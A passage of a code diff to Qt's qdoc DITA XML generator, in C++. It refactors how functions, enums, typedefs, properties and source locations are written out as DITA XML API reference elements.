writer.writeStartElement(CXXCLASSDERIVATIONS); + xmlWriter().writeStartElement(CXXCLASSDERIVATIONS); r = cn->baseClasses().begin(); index = 0; while (r != cn->baseClasses().end()) { - writer.writeStartElement(CXXCLASSDERIVATION); - writer.writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER); - writer.writeAttribute("value",(*r).accessString()); - writer.writeEndElement(); // </cxxClassDerivationAccessSpecifier> - writer.writeStartElement(CXXCLASSBASECLASS); - writer.writeAttribute("href",(*r).node->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName((*r).node)); - writer.writeEndElement(); // </cxxClassBaseClass> - writer.writeEndElement(); // </cxxClassDerivation> + xmlWriter().writeStartElement(CXXCLASSDERIVATION); + xmlWriter().writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",(*r).accessString()); + xmlWriter().writeEndElement(); // </cxxClassDerivationAccessSpecifier> + + // not included: <cxxClassDerivationVirtual> + + xmlWriter().writeStartElement(CXXCLASSBASECLASS); + QString attr = fileName((*r).node) + "#" + (*r).node->guid(); + xmlWriter().writeAttribute("href",attr); + writeCharacters(marker->plainFullName((*r).node)); + xmlWriter().writeEndElement(); // </cxxClassBaseClass> + + // not included: <ClassBaseStruct> or <cxxClassBaseUnion> + + xmlWriter().writeEndElement(); // </cxxClassDerivation> + + // not included: <cxxStructDerivation> + ++r; } - writer.writeEndElement(); // </cxxClassDerivations> + xmlWriter().writeEndElement(); // </cxxClassDerivations> } } +/*! + Writes a <cxxXXXAPIItemLocation> element, depending on the + type of the node \a n, which can be a class, function, enum, + typedef, or property. + */ void DitaXmlGenerator::writeLocation(const Node* n) { - QString s1, s2, s3; - if (n->type() == Node::Class) { + QString s1, s2, s3, s4, s5, s6; + if (n->type() == Node::Class || n->type() == Node::Namespace) { s1 = CXXCLASSAPIITEMLOCATION; s2 = CXXCLASSDECLARATIONFILE; s3 = CXXCLASSDECLARATIONFILELINE; } else if (n->type() == Node::Function) { - s1 = CXXFUNCTIONAPIITEMLOCATION; - s2 = CXXFUNCTIONDECLARATIONFILE; - s3 = CXXFUNCTIONDECLARATIONFILELINE; + FunctionNode* fn = const_cast<FunctionNode*>(static_cast<const FunctionNode*>(n)); + if (fn->isMacro()) { + s1 = CXXDEFINEAPIITEMLOCATION; + s2 = CXXDEFINEDECLARATIONFILE; + s3 = CXXDEFINEDECLARATIONFILELINE; + } + else { + s1 = CXXFUNCTIONAPIITEMLOCATION; + s2 = CXXFUNCTIONDECLARATIONFILE; + s3 = CXXFUNCTIONDECLARATIONFILELINE; + } } else if (n->type() == Node::Enum) { s1 = CXXENUMERATIONAPIITEMLOCATION; s2 = CXXENUMERATIONDECLARATIONFILE; s3 = CXXENUMERATIONDECLARATIONFILELINE; + s4 = CXXENUMERATIONDEFINITIONFILE; + s5 = CXXENUMERATIONDEFINITIONFILELINESTART; + s6 = CXXENUMERATIONDEFINITIONFILELINEEND; } else if (n->type() == Node::Typedef) { s1 = CXXTYPEDEFAPIITEMLOCATION; @@ -4591,92 +4495,133 @@ void DitaXmlGenerator::writeLocation(const Node* n) s2 = CXXVARIABLEDECLARATIONFILE; s3 = CXXVARIABLEDECLARATIONFILELINE; } - writer.writeStartElement(s1); - writer.writeStartElement(s2); - writer.writeAttribute("name","filePath"); - writer.writeAttribute("value",n->location().filePath()); - writer.writeEndElement(); // </cxx<s2>DeclarationFile> - writer.writeStartElement(s3); - writer.writeAttribute("name","lineNumber"); + xmlWriter().writeStartElement(s1); + xmlWriter().writeStartElement(s2); + xmlWriter().writeAttribute("name","filePath"); + xmlWriter().writeAttribute("value",n->location().filePath()); + xmlWriter().writeEndElement(); // </cxx<s2>DeclarationFile> + xmlWriter().writeStartElement(s3); + xmlWriter().writeAttribute("name","lineNumber"); QString lineNr; - writer.writeAttribute("value",lineNr.setNum(n->location().lineNo())); - writer.writeEndElement(); // </cxx<s3>DeclarationFileLine> - writer.writeEndElement(); // </cxx<s1>ApiItemLocation> + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // </cxx<s3>DeclarationFileLine> + if (!s4.isEmpty()) { // zzz This stuff is temporary, I think. + xmlWriter().writeStartElement(s4); + xmlWriter().writeAttribute("name","filePath"); + xmlWriter().writeAttribute("value",n->location().filePath()); + xmlWriter().writeEndElement(); // </cxx<s4>DefinitionFile> + xmlWriter().writeStartElement(s5); + xmlWriter().writeAttribute("name","lineNumber"); + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // </cxx<s5>DefinitionFileLineStart> + xmlWriter().writeStartElement(s6); + xmlWriter().writeAttribute("name","lineNumber"); + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // </cxx<s6>DefinitionFileLineEnd> + } + + // not included: <cxxXXXDefinitionFile>, <cxxXXXDefinitionFileLineStart>, + // and <cxxXXXDefinitionFileLineEnd> + + xmlWriter().writeEndElement(); // </cxx<s1>ApiItemLocation> } +/*! + Write the <cxxFunction> elements. + */ void DitaXmlGenerator::writeFunctions(const Section& s, - const ClassNode* cn, - CodeMarker* marker) + const Node* n, + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { if ((*m)->type() == Node::Function) { FunctionNode* fn = const_cast<FunctionNode*>(static_cast<const FunctionNode*>(*m)); - writer.writeStartElement(CXXFUNCTION); - writer.writeAttribute("id",fn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // </apiName> + xmlWriter().writeStartElement(CXXFUNCTION); + xmlWriter().writeAttribute("id",fn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); + xmlWriter().writeStartElement("apiName"); + if (fn->metaness() == FunctionNode::Signal) + xmlWriter().writeAttribute("class","signal"); + else if (fn->metaness() == FunctionNode::Slot) + xmlWriter().writeAttribute("class","slot"); + writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // </apiName> generateBrief(fn,marker); - writer.writeStartElement(CXXFUNCTIONDETAIL); - writer.writeStartElement(CXXFUNCTIONDEFINITION); - writer.writeStartElement(CXXFUNCTIONACCESSSPECIFIER); - writer.writeAttribute("value",fn->accessString()); - writer.writeEndElement(); // <cxxFunctionAccessSpecifier> + + // not included: <prolog> + + xmlWriter().writeStartElement(CXXFUNCTIONDETAIL); + xmlWriter().writeStartElement(CXXFUNCTIONDEFINITION); + xmlWriter().writeStartElement(CXXFUNCTIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",fn->accessString()); + xmlWriter().writeEndElement(); // <cxxFunctionAccessSpecifier> + + // not included: <cxxFunctionStorageClassSpecifierExtern> if (fn->isStatic()) { - writer.writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC); - writer.writeAttribute("name","static"); - writer.writeAttribute("value","static"); - writer.writeEndElement(); // <cxxFunctionStorageClassSpecifierStatic> + xmlWriter().writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC); + xmlWriter().writeAttribute("name","static"); + xmlWriter().writeAttribute("value","static"); + xmlWriter().writeEndElement(); // <cxxFunctionStorageClassSpecifierStatic> } - + + // not included: <cxxFunctionStorageClassSpecifierMutable>, + if (fn->isConst()) { - writer.writeStartElement(CXXFUNCTIONCONST); - writer.writeAttribute("name","const"); - writer.writeAttribute("value","const"); - writer.writeEndElement(); // <cxxFunctionConst> + xmlWriter().writeStartElement(CXXFUNCTIONCONST); + xmlWriter().writeAttribute("name","const"); + xmlWriter().writeAttribute("value","const"); + xmlWriter().writeEndElement(); // <cxxFunctionConst> } + + // not included: <cxxFunctionExplicit> + // <cxxFunctionInline if (fn->virtualness() != FunctionNode::NonVirtual) { - writer.writeStartElement(CXXFUNCTIONVIRTUAL); - writer.writeAttribute("name","virtual"); - writer.writeAttribute("value","virtual"); - writer.writeEndElement(); // <cxxFunctionVirtual> + xmlWriter().writeStartElement(CXXFUNCTIONVIRTUAL); + xmlWriter().writeAttribute("name","virtual"); + xmlWriter().writeAttribute("value","virtual"); + xmlWriter().writeEndElement(); // <cxxFunctionVirtual> if (fn->virtualness() == FunctionNode::PureVirtual) { - writer.writeStartElement(CXXFUNCTIONPUREVIRTUAL); - writer.writeAttribute("name","pure virtual"); - writer.writeAttribute("value","pure virtual"); - writer.writeEndElement(); // <cxxFunctionPureVirtual> + xmlWriter().writeStartElement(CXXFUNCTIONPUREVIRTUAL); + xmlWriter().writeAttribute("name","pure virtual"); + xmlWriter().writeAttribute("value","pure virtual"); + xmlWriter().writeEndElement(); // <cxxFunctionPureVirtual> } } - if (fn->name() == cn->name()) { - writer.writeStartElement(CXXFUNCTIONCONSTRUCTOR); - writer.writeAttribute("name","constructor"); - writer.writeAttribute("value","constructor"); - writer.writeEndElement(); // <cxxFunctionConstructor> + if (fn->name() == n->name()) { + xmlWriter().writeStartElement(CXXFUNCTIONCONSTRUCTOR); + xmlWriter().writeAttribute("name","constructor"); + xmlWriter().writeAttribute("value","constructor"); + xmlWriter().writeEndElement(); // <cxxFunctionConstructor> } else if (fn->name()[0] == QChar('~')) { - writer.writeStartElement(CXXFUNCTIONDESTRUCTOR); - writer.writeAttribute("name","destructor"); - writer.writeAttribute("value","destructor"); - writer.writeEndElement(); // <cxxFunctionDestructor> + xmlWriter().writeStartElement(CXXFUNCTIONDESTRUCTOR); + xmlWriter().writeAttribute("name","destructor"); + xmlWriter().writeAttribute("value","destructor"); + xmlWriter().writeEndElement(); // <cxxFunctionDestructor> } else { - writer.writeStartElement(CXXFUNCTIONDECLAREDTYPE); - writer.writeCharacters(fn->returnType()); - writer.writeEndElement(); // <cxxFunctionDeclaredType> + xmlWriter().writeStartElement(CXXFUNCTIONDECLAREDTYPE); + writeCharacters(fn->returnType()); + xmlWriter().writeEndElement(); // <cxxFunctionDeclaredType> } + + // not included: <cxxFunctionReturnType> + QString fq = fullQualification(fn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXFUNCTIONSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // <cxxFunctionScopedName> + xmlWriter().writeStartElement(CXXFUNCTIONSCOPEDNAME); + writeCharacters(fq); + xmlWriter().writeEndElement(); // <cxxFunctionScopedName> } - writer.writeStartElement(CXXFUNCTIONPROTOTYPE); - writer.writeCharacters(fn->signature(true)); - writer.writeEndElement(); // <cxxFunctionPrototype> + xmlWriter().writeStartElement(CXXFUNCTIONPROTOTYPE); + writeCharacters(fn->signature(true)); + xmlWriter().writeEndElement(); // <cxxFunctionPrototype> QString fnl = fn->signature(false); int idx = fnl.indexOf(' '); @@ -4685,30 +4630,30 @@ void DitaXmlGenerator::writeFunctions(const Section& s, else ++idx; fnl = fn->parent()->name() + "::" + fnl.mid(idx); - writer.writeStartElement(CXXFUNCTIONNAMELOOKUP); - writer.writeCharacters(fnl); - writer.writeEndElement(); // <cxxFunctionNameLookup> + xmlWriter().writeStartElement(CXXFUNCTIONNAMELOOKUP); + writeCharacters(fnl); + xmlWriter().writeEndElement(); // <cxxFunctionNameLookup> - if (fn->isReimp() && fn->reimplementedFrom() != 0) { + if (!fn->isInternal() && fn->isReimp() && fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); - writer.writeStartElement(CXXFUNCTIONREIMPLEMENTED); - writer.writeAttribute("href",rfn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(rfn)); - writer.writeEndElement(); // </cxxFunctionReimplemented> + if (rfn && !rfn->isInternal()) { + xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); + xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); + writeCharacters(marker->plainFullName(rfn)); + xmlWriter().writeEndElement(); // </cxxFunctionReimplemented> + } } - writeParameters(fn,marker); + writeParameters(fn); writeLocation(fn); - writer.writeEndElement(); // <cxxFunctionDefinition> - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // <cxxFunctionDefinition> - if (!fn->doc().isEmpty()) { - generateBody(fn, marker); - // generateAlsoList(inner, marker); - } + writeDetailedDescription(fn, marker, true, QString()); + // generateAlsoList(inner, marker); - writer.writeEndElement(); // </apiDesc> - writer.writeEndElement(); // </cxxFunctionDetail> - writer.writeEndElement(); // </cxxFunction> + // not included: <example> or <apiImpl> + + xmlWriter().writeEndElement(); // </cxxFunctionDetail> + xmlWriter().writeEndElement(); // </cxxFunction> if (fn->metaness() == FunctionNode::Ctor || fn->metaness() == FunctionNode::Dtor || @@ -4719,445 +4664,748 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } } -void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marker) +/*! + This function writes the <cxxFunctionParameters> element. + */ +void DitaXmlGenerator::writeParameters(const FunctionNode* fn) { const QList<Parameter>& parameters = fn->parameters(); if (!parameters.isEmpty()) { - writer.writeStartElement(CXXFUNCTIONPARAMETERS); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERS); QList<Parameter>::ConstIterator p = parameters.begin(); while (p != parameters.end()) { - writer.writeStartElement(CXXFUNCTIONPARAMETER); - writer.writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE); - writer.writeCharacters((*p).leftType()); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETER); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE); + writeCharacters((*p).leftType()); if (!(*p).rightType().isEmpty()) - writer.writeCharacters((*p).rightType()); - writer.writeEndElement(); // <cxxFunctionParameterDeclaredType> - writer.writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); - writer.writeCharacters((*p).name()); - writer.writeEndElement(); // <cxxFunctionParameterDeclarationName> + writeCharacters((*p).rightType()); + xmlWriter().writeEndElement(); // <cxxFunctionParameterDeclaredType> + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); + writeCharacters((*p).name()); + xmlWriter().writeEndElement(); // <cxxFunctionParameterDeclarationName> + + // not included: <cxxFunctionParameterDefinitionName> + if (!(*p).defaultValue().isEmpty()) { - writer.writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); - writer.writeCharacters((*p).defaultValue()); - writer.writeEndElement(); // <cxxFunctionParameterDefaultValue> + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); + writeCharacters((*p).defaultValue()); + xmlWriter().writeEndElement(); // <cxxFunctionParameterDefaultValue> } - writer.writeEndElement(); // <cxxFunctionParameter> + + // not included: <apiDefNote> + + xmlWriter().writeEndElement(); // <cxxFunctionParameter> ++p; } - writer.writeEndElement(); // <cxxFunctionParameters> + xmlWriter().writeEndElement(); // <cxxFunctionParameters> } } +/*! + This function writes the enum types. + */ void DitaXmlGenerator::writeEnumerations(const Section& s, - const ClassNode* cn, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { if ((*m)->type() == Node::Enum) { const EnumNode* en = static_cast<const EnumNode*>(*m); - writer.writeStartElement(CXXENUMERATION); - writer.writeAttribute("id",en->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(en->name()); - writer.writeEndElement(); // </apiName> + xmlWriter().writeStartElement(CXXENUMERATION); + xmlWriter().writeAttribute("id",en->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); + xmlWriter().writeStartElement("apiName"); + writeCharacters(en->name()); + xmlWriter().writeEndElement(); // </apiName> generateBrief(en,marker); - writer.writeStartElement(CXXENUMERATIONDETAIL); - writer.writeStartElement(CXXENUMERATIONDEFINITION); - writer.writeStartElement(CXXENUMERATIONACCESSSPECIFIER); - writer.writeAttribute("value",en->accessString()); - writer.writeEndElement(); // <cxxEnumerationAccessSpecifier> + + // not included <prolog> + + xmlWriter().writeStartElement(CXXENUMERATIONDETAIL); + xmlWriter().writeStartElement(CXXENUMERATIONDEFINITION); + xmlWriter().writeStartElement(CXXENUMERATIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",en->accessString()); + xmlWriter().writeEndElement(); // <cxxEnumerationAccessSpecifier> QString fq = fullQualification(en); if (!fq.isEmpty()) { - writer.writeStartElement(CXXENUMERATIONSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // <cxxEnumerationScopedName> + xmlWriter().writeStartElement(CXXENUMERATIONSCOPEDNAME); + writeCharacters(fq); + xmlWriter().writeEndElement(); // <cxxEnumerationScopedName> } const QList<EnumItem>& items = en->items(); if (!items.isEmpty()) { - writer.writeStartElement(CXXENUMERATIONPROTOTYPE); - writer.writeCharacters(en->name()); - writer.writeCharacters(" = { "); + xmlWriter().writeStartElement(CXXENUMERATIONPROTOTYPE); + writeCharacters(en->name()); + xmlWriter().writeCharacters(" = { "); QList<EnumItem>::ConstIterator i = items.begin(); while (i != items.end()) { - writer.writeCharacters((*i).name()); + writeCharacters((*i).name()); if (!(*i).value().isEmpty()) { - writer.writeCharacters(" = "); - writer.writeCharacters((*i).value()); + xmlWriter().writeCharacters(" = "); + writeCharacters((*i).value()); } ++i; if (i != items.end()) - writer.writeCharacters(", "); + xmlWriter().writeCharacters(", "); } - writer.writeCharacters(" }"); - writer.writeEndElement(); // <cxxEnumerationPrototype> + xmlWriter().writeCharacters(" }"); + xmlWriter().writeEndElement(); // <cxxEnumerationPrototype> } - writer.writeStartElement(CXXENUMERATIONNAMELOOKUP); - writer.writeCharacters(en->parent()->name() + "::" + en->name()); - writer.writeEndElement(); // <cxxEnumerationNameLookup> + xmlWriter().writeStartElement(CXXENUMERATIONNAMELOOKUP); + writeCharacters(en->parent()->name() + "::" + en->name()); + xmlWriter().writeEndElement(); // <cxxEnumerationNameLookup> + + // not included: <cxxEnumerationReimplemented> if (!items.isEmpty()) { - writer.writeStartElement(CXXENUMERATORS); + xmlWriter().writeStartElement(CXXENUMERATORS); QList<EnumItem>::ConstIterator i = items.begin(); while (i != items.end()) { - writer.writeStartElement(CXXENUMERATOR); - writer.writeStartElement(APINAME); - writer.writeCharacters((*i).name()); - writer.writeEndElement(); // </apiName> + xmlWriter().writeStartElement(CXXENUMERATOR); + xmlWriter().writeStartElement("apiName"); + writeCharacters((*i).name()); + xmlWriter().writeEndElement(); // </apiName> QString fq = fullQualification(en->parent()); if (!fq.isEmpty()) { - writer.writeStartElement(CXXENUMERATORSCOPEDNAME); - writer.writeCharacters(fq + "::" + (*i).name()); - writer.writeEndElement(); // <cxxEnumeratorScopedName> + xmlWriter().writeStartElement(CXXENUMERATORSCOPEDNAME); + writeCharacters(fq + "::" + (*i).name()); + xmlWriter().writeEndElement(); // <cxxEnumeratorScopedName> } - writer.writeStartElement(CXXENUMERATORPROTOTYPE); - writer.writeCharacters((*i).name()); - writer.writeEndElement(); // <cxxEnumeratorPrototype> - writer.writeStartElement(CXXENUMERATORNAMELOOKUP); - writer.writeCharacters(en->parent()->name() + "::" + (*i).name()); - writer.writeEndElement(); // <cxxEnumeratorNameLookup> + xmlWriter().writeStartElement(CXXENUMERATORPROTOTYPE); + writeCharacters((*i).name()); + xmlWriter().writeEndElement(); // <cxxEnumeratorPrototype> + xmlWriter().writeStartElement(CXXENUMERATORNAMELOOKUP); + writeCharacters(en->parent()->name() + "::" + (*i).name()); + xmlWriter().writeEndElement(); // <cxxEnumeratorNameLookup> if (!(*i).value().isEmpty()) { - writer.writeStartElement(CXXENUMERATORINITIALISER); - writer.writeAttribute("value", (*i).value()); - writer.writeEndElement(); // <cxxEnumeratorInitialiser> + xmlWriter().writeStartElement(CXXENUMERATORINITIALISER); + xmlWriter().writeAttribute("value", (*i).value()); + xmlWriter().writeEndElement(); // <cxxEnumeratorInitialiser> } + + // not included: <cxxEnumeratorAPIItemLocation> + if (!(*i).text().isEmpty()) { - writer.writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); generateText((*i).text(), en, marker); - writer.writeEndElement(); // </apiDesc> + xmlWriter().writeEndElement(); // </apiDesc> } - writer.writeEndElement(); // <cxxEnumerator> + xmlWriter().writeEndElement(); // <cxxEnumerator> ++i; } - writer.writeEndElement(); // <cxxEnumerators> + xmlWriter().writeEndElement(); // <cxxEnumerators> } writeLocation(en); - writer.writeEndElement(); // <cxxEnumerationDefinition> - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // <cxxEnumerationDefinition> - if (!en->doc().isEmpty()) { - generateBody(en, marker); - } + writeDetailedDescription(en, marker, true, QString()); + + // not included: <example> or <apiImpl> + + xmlWriter().writeEndElement(); // </cxxEnumerationDetail> - writer.writeEndElement(); // </apiDesc> - writer.writeEndElement(); // </cxxEnumerationDetail> - writer.writeEndElement(); // </cxxEnumeration> + // not included: <related-links> + + xmlWriter().writeEndElement(); // </cxxEnumeration> } ++m; } } +/*! + This function writes the output for the \typedef commands. + */ void DitaXmlGenerator::writeTypedefs(const Section& s, - const ClassNode* cn, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) + { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { if ((*m)->type() == Node::Typedef) { const TypedefNode* tn = static_cast<const TypedefNode*>(*m); - writer.writeStartElement(CXXTYPEDEF); - writer.writeAttribute("id",tn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(tn->name()); - writer.writeEndElement(); // </apiName> + xmlWriter().writeStartElement(CXXTYPEDEF); + xmlWriter().writeAttribute("id",tn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); + xmlWriter().writeStartElement("apiName"); + writeCharacters(tn->name()); + xmlWriter().writeEndElement(); // </apiName> generateBrief(tn,marker); - writer.writeStartElement(CXXTYPEDEFDETAIL); - writer.writeStartElement(CXXTYPEDEFDEFINITION); - writer.writeStartElement(CXXTYPEDEFACCESSSPECIFIER); - writer.writeAttribute("value",tn->accessString()); - writer.writeEndElement(); // <cxxTypedefAccessSpecifier> + + // not included: <prolog> + + xmlWriter().writeStartElement(CXXTYPEDEFDETAIL); + xmlWriter().writeStartElement(CXXTYPEDEFDEFINITION); + xmlWriter().writeStartElement(CXXTYPEDEFACCESSSPECIFIER); + xmlWriter().writeAttribute("value",tn->accessString()); + xmlWriter().writeEndElement(); // <cxxTypedefAccessSpecifier> + + // not included: <cxxTypedefDeclaredType> QString fq = fullQualification(tn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXTYPEDEFSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // <cxxTypedefScopedName> + xmlWriter().writeStartElement(CXXTYPEDEFSCOPEDNAME); + writeCharacters(fq); + xmlWriter().writeEndElement(); // <cxxTypedefScopedName> } - writer.writeStartElement(CXXTYPEDEFNAMELOOKUP); - writer.writeCharacters(tn->parent()->name() + "::" + tn->name()); - writer.writeEndElement(); // <cxxTypedefNameLookup> - + + // not included: <cxxTypedefPrototype> + + xmlWriter().writeStartElement(CXXTYPEDEFNAMELOOKUP); + writeCharacters(tn->parent()->name() + "::" + tn->name()); + xmlWriter().writeEndElement(); // <cxxTypedefNameLookup> + + // not included: <cxxTypedefReimplemented> + writeLocation(tn); - writer.writeEndElement(); // <cxxTypedefDefinition> - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // <cxxTypedefDefinition> - if (!tn->doc().isEmpty()) { - generateBody(tn, marker); - } + writeDetailedDescription(tn, marker, true, QString()); + + // not included: <example> or <apiImpl> + + xmlWriter().writeEndElement(); // </cxxTypedefDetail> + + // not included: <related-links> - writer.writeEndElement(); // </apiDesc> - writer.writeEndElement(); // </cxxTypedefDetail> - writer.writeEndElement(); // </cxxTypedef> + xmlWriter().writeEndElement(); // </cxxTypedef> } ++m; } } +/*! + This function writes the output for the \property commands. + This is the Q_PROPERTYs. + */ void DitaXmlGenerator::writeProperties(const Section& s, - const ClassNode* cn, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { if ((*m)->type() == Node::Property) { const PropertyNode* pn = static_cast<const PropertyNode*>(*m); - writer.writeStartElement(CXXVARIABLE); - writer.writeAttribute("id",pn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(pn->name()); - writer.writeEndElement(); // </apiName> + xmlWriter().writeStartElement(CXXVARIABLE); + xmlWriter().writeAttribute("id",pn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); + xmlWriter().writeStartElement("apiName"); + writeCharacters(pn->name()); + xmlWriter().writeEndElement(); // </apiName> generateBrief(pn,marker); - writer.writeStartElement(CXXVARIABLEDETAIL); - writer.writeStartElement(CXXVARIABLEDEFINITION); - writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); - writer.writeAttribute("value",pn->accessString()); - writer.writeEndElement(); // <cxxVariableAccessSpecifier> + + // not included: <prolog> + + xmlWriter().writeStartElement(CXXVARIABLEDETAIL); + xmlWriter().writeStartElement(CXXVARIABLEDEFINITION); + xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",pn->accessString()); + xmlWriter().writeEndElement(); // <cxxVariableAccessSpecifier> + + // not included: <cxxVariableStorageClassSpecifierExtern>, + // <cxxVariableStorageClassSpecifierStatic>, + // <cxxVariableStorageClassSpecifierMutable>, + // <cxxVariableConst>, <cxxVariableVolatile> if (!pn->qualifiedDataType().isEmpty()) { - writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); - writer.writeCharacters(pn->qualifiedDataType()); - writer.writeEndElement(); // <cxxVariableDeclaredType> + xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); + writeCharacters(pn->qualifiedDataType()); + xmlWriter().writeEndElement(); // <cxxVariableDeclaredType> } QString fq = fullQualification(pn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXVARIABLESCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // <cxxVariableScopedName> + xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); + writeCharacters(fq); + xmlWriter().writeEndElement(); // <cxxVariableScopedName> } - writer.writeStartElement(CXXVARIABLEPROTOTYPE); - writer.writeCharacters("Q_PROPERTY("); - writer.writeCharacters(pn->qualifiedDataType()); - writer.writeCharacters(" "); - writer.writeCharacters(pn->name()); - writePropParams("READ",pn->getters()); - writePropParams("WRITE",pn->setters()); - writePropParams("RESET",pn->resetters()); - writePropParams("NOTIFY",pn->notifiers()); + xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); + xmlWriter().writeCharacters("Q_PROPERTY("); + writeCharacters(pn->qualifiedDataType()); + xmlWriter().writeCharacters(" "); + writeCharacters(pn->name()); + writePropertyParameter("READ",pn->getters()); + writePropertyParameter("WRITE",pn->setters()); + writePropertyParameter("RESET",pn->resetters()); + writePropertyParameter("NOTIFY",pn->notifiers()); if (pn->isDesignable() != pn->designableDefault()) { - writer.writeCharacters(" DESIGNABLE "); + xmlWriter().writeCharacters(" DESIGNABLE "); if (!pn->runtimeDesignabilityFunction().isEmpty()) - writer.writeCharacters(pn->runtimeDesignabilityFunction()); + writeCharacters(pn->runtimeDesignabilityFunction()); else - writer.writeCharacters(pn->isDesignable() ? "true" : "false"); + xmlWriter().writeCharacters(pn->isDesignable() ? "true" : "false"); } if (pn->isScriptable() != pn->scriptableDefault()) { - writer.writeCharacters(" SCRIPTABLE "); + xmlWriter().writeCharacters(" SCRIPTABLE "); if (!pn->runtimeScriptabilityFunction().isEmpty()) - writer.writeCharacters(pn->runtimeScriptabilityFunction()); + writeCharacters(pn->runtimeScriptabilityFunction()); else - writer.writeCharacters(pn->isScriptable() ? "true" : "false"); + xmlWriter().writeCharacters(pn->isScriptable() ? "true" : "false"); } if (pn->isWritable() != pn->writableDefault()) { - writer.writeCharacters(" STORED "); - writer.writeCharacters(pn->isStored() ? "true" : "false"); + xmlWriter().writeCharacters(" STORED "); + xmlWriter().writeCharacters(pn->isStored() ? "true" : "false"); } if (pn->isUser() != pn->userDefault()) { - writer.writeCharacters(" USER "); - writer.writeCharacters(pn->isUser() ? "true" : "false"); + xmlWriter().writeCharacters(" USER "); + xmlWriter().writeCharacters(pn->isUser() ? "true" : "false"); } if (pn->isConstant()) - writer.writeCharacters(" CONSTANT"); + xmlWriter().writeCharacters(" CONSTANT"); if (pn->isFinal()) - writer.writeCharacters(" FINAL"); - writer.writeCharacters(")"); - writer.writeEndElement(); // <cxxVariablePrototype> + xmlWriter().writeCharacters(" FINAL"); + xmlWriter().writeCharacters(")"); + xmlWriter().writeEndElement(); // <cxxVariablePrototype> - writer.writeStartElement(CXXVARIABLENAMELOOKUP); - writer.writeCharacters(pn->parent()->name() + "::" + pn->name()); - writer.writeEndElement(); // <cxxVariableNameLookup> + xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); + writeCharacters(pn->parent()->name() + "::" + pn->name()); + xmlWriter().writeEndElement(); // <cxxVariableNameLookup> if (pn->overriddenFrom() != 0) { PropertyNode* opn = (PropertyNode*)pn->overriddenFrom(); - writer.writeStartElement(CXXVARIABLEREIMPLEMENTED); - writer.writeAttribute("href",opn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(opn)); - writer.writeEndElement(); // </cxxVariableReimplemented> + xmlWriter().writeStartElement(CXXVARIABLEREIMPLEMENTED); + xmlWriter().writeAttribute("href",opn->ditaXmlHref()); + writeCharacters(marker->plainFullName(opn)); + xmlWriter().writeEndElement(); // </cxxVariableReimplemented> } writeLocation(pn); - writer.writeEndElement(); // <cxxVariableDefinition> - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // <cxxVariableDefinition> - if (!pn->doc().isEmpty()) { - generateBody(pn, marker); - } + writeDetailedDescription(pn, 